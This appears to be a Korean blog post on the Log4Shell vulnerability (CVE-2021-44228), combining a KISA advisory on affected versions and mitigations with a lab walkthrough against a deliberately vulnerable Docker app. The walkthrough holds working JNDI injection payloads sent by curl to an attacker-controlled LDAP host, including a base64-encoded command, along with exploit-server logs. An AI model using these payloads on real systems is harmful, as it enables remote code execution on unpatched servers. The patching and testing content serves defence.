전 세계 적으로 보안이슈가 있는 인기 있는 Apache Log4j 유틸리티(CVE-2021-44228)에 영향을 미치는 제로데이 익스플로잇이 2021년 12월 9일에 공개되어 원격 코드 실행(RCE)이 발생했습니다.
Log4j를 사용하는 모든 조직의 경우 가능한 한 빨리 버전 2.15.0으로 업데이트해야 합니다.
□ 개요
o Apache 소프트웨어 재단은 자사의 Log4j 2에서 발생하는 취약점을 해결한 보안 업데이트 권고[1]o 공격자는 해당 취약점을 이용하여 악성코드 감염 등의 피해를 발생시킬수 있으므로, 최신 버전으로 업데이트 권고 □ 주요 내용 o Apache Log4j 2*에서 발생하는 원격코드 실행 취약점(CVE-2021-44228)[2] * 프로그램 작성 중 로그를 남기기 위해 사용되는 자바 기반의 오픈소스 유틸리티 □ 영향을 받는 버전 o Apache Log4j 2 - 2.0-beta9 ~ 2.14.1 모든버전 o Apache Log4j 2를 사용하는 제품 ※ 참고 사이트 [4]를 확인하여 해당 제품을 이용 중일 경우, 해당 제조사의 권고에 따라 패치 또는 대응 방안 적용 □ 해결방안[1] o 제조사 홈페이지를 통해 최신버전(2.15.0)으로 업데이트 적용[3] ※ log4j 1.x버전 사용자의 경우 추가적인 업그레이드 지원 중지로 인해 다른 보안위협에 노출될 가능성이 높아 최신버전 업데이트 적용 권고 o 최신버전으로 업데이트가 어려운 경우 사용중인 버전확인 후 버전별 조치 적용 - (버전확인방법) 1. log4j가 설치된 경로의 (pom.)파일을 열어 "log4j"로 검색 2. 검색결과 "사용버전(version)" 확인가능 - (조치방법) 2.0-beta9 ~ 2.10.0 ※ JndiLookup 클래스를 경로에서 제거 : zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class - (조치방법) 2.10 ~ 2.14.1 ※ log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경변수를 true로 설정 □ 기타 문의사항 o 한국인터넷진흥원 사이버민원센터: 국번없이 118 [참고사이트] [1] https://logging.apache.org/log4j/2.x/security.html [2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228 [3] https://logging.apache.org/log4j/2.x/download.html [4] https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592 □ 작성 : 침해사고분석단 취약점분석팀 |
출처 : kisa 인터넷 보호나라
Log4shell은 log4j2의 취약점인 CVE-2021-44228의 별칭으로 java에서 많이 사용되는 logger인 log4j에서 발생하는 RCE 취약점을 의미합니다.
해당 취약점에 관련된 재미있는 내용 하나는 CVE-2021-44228이 처음에 LogJam이란 이름을 붙였다가 Log4shell로 변경했다고 합니다. 왜냐면 LogJam은 예전부터 있었던 SSL 관련 이슈니깐요!
[root@localhost ~]# httpd -v
Server version: Apache/2.4.6 (CentOS)
Server built: Nov 10 2021 14:26:31
[root@localhost ~]#
* Log4j 클래스를 사용하지 않는 아파치는 업데이트 안해도 됩니다.
영향받는 버전과 대응방안/완화방안은 아래와 같습니다.
CVE | CVE-2021-44228 (Log4Shell) |
영향받는 버전 | log4j 2.0 - 2.14.1 |
패치 버전 | 버전 log4j 2.15 |
완화 방법 | 2.10 이상: log4j2.formatMsgNoLookups=true |
2.10 미만: JndiLookup Class를 classpath에서 제거 |
일단은 패치가 있어서 다행이지 그래도 공격이 쉽고 우회 패턴도 있을거고, 취약 앱이 너무 광범위하게 사용되서 red team과 blue team 모두 긴밀하게 협업해서 대응이 필요할 것 같네요.
진짜 문제는.. Dependencies입니다. 특히나 docker, k8s 등 이미지 기반의 서비스를 많이 사용할텐데 이를 모두 식별하고 대응하기는 정말 어렵습니다. 일단 지속적으로 추적하고, 업데이트 시키는게 최선일 것 같네요.
아 물론 지속적으로 보안 테스팅도 필요할 것 같습니다 😫 다행히 Burpsuite의 Active++에는 이미 적용되었고 Nuclei 템플릿 등 테스트를 위한 도구들이 금방 추가될거라 자동화만 잘 해두면 무리없을 것 같네요.
참고용
$ docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
Payload 패턴
$ curl {TARGET} -H 'X-Api-Version: ${jndi:ldap://attacker_domain}'
테스트
curl -i -k http://localhost:8080 -H 'X-Api-Version: ${jndi:ldap://nrqzbmk2pt23zu6vkegfxks7em.odiss.eu}'
HTTP/1.1 200
Content-Type: text/plain;charset=UTF-8
Content-Length: 13
Date: Sat, 11 Dec 2021 14:50:50 GMT
Hello, world!%
Server log
INFO 1 — [nio-8080-exec-3] HelloWorld: Received a request for API version
${jndi:ldap://nrqzbmk2pt23zu6vkegfxks7em.odiss.eu}
Callbacks
${jndi:ldap://attacker_domain} 구문으로 인해 log4j가 JNDI(Java Naming and Directory Interface)를 통해 공격자 도메인으로 요청을 전송하게 되고 여기서 공격자가 JNDIExploit을 미리 준비해두었다면 결과적으로 code execution이 가능합니다.
$ curl -i -k localhost:8080 -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9oYWh3dWwK}'
dG91Y2ggL3RtcC9oYWh3dWwK는 base64로 인코딩된 touch /tmp/hahwul 명령이며 공격이 성공하면 /tmp/hahwul 파일이 생성됩니다.
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9oYWh3dWwK
[+] Paylaod: command
[+] Command: touch /tmp/hahwul
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9oYWh3dWwK with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9oYWh3dWwK redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.0.24:49121 /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
# 2b059fb3ef2d > ls /tmp/hahwul
/tmp/hahwul
다만 실제로 테스트하실 땐 직접 구축한 DNS를 사용해서 테스트하시는 것을 추천드려요. (Burpsuite collaborator, ZAP OAST 등 외부 서버에 접근 이력이 남기 때문에 혹시라도 악용될 여지가 있으니..)
출처 : HAHWUL
Security engineer, Developer and H4cker
리눅스 CentOS - FTP 서버 구축 설치 (0) | 2021.12.01 |
---|---|
Mysql(MariaDB) 설치후 초기 설정하기 사용자추가/DB생성/권한부여 (0) | 2021.12.01 |
리눅스(centos) APM(Apache/PHP/MySQL) 설치하기 (0) | 2021.11.30 |
리눅스 OS 버전 확인 명령어 (0) | 2021.11.30 |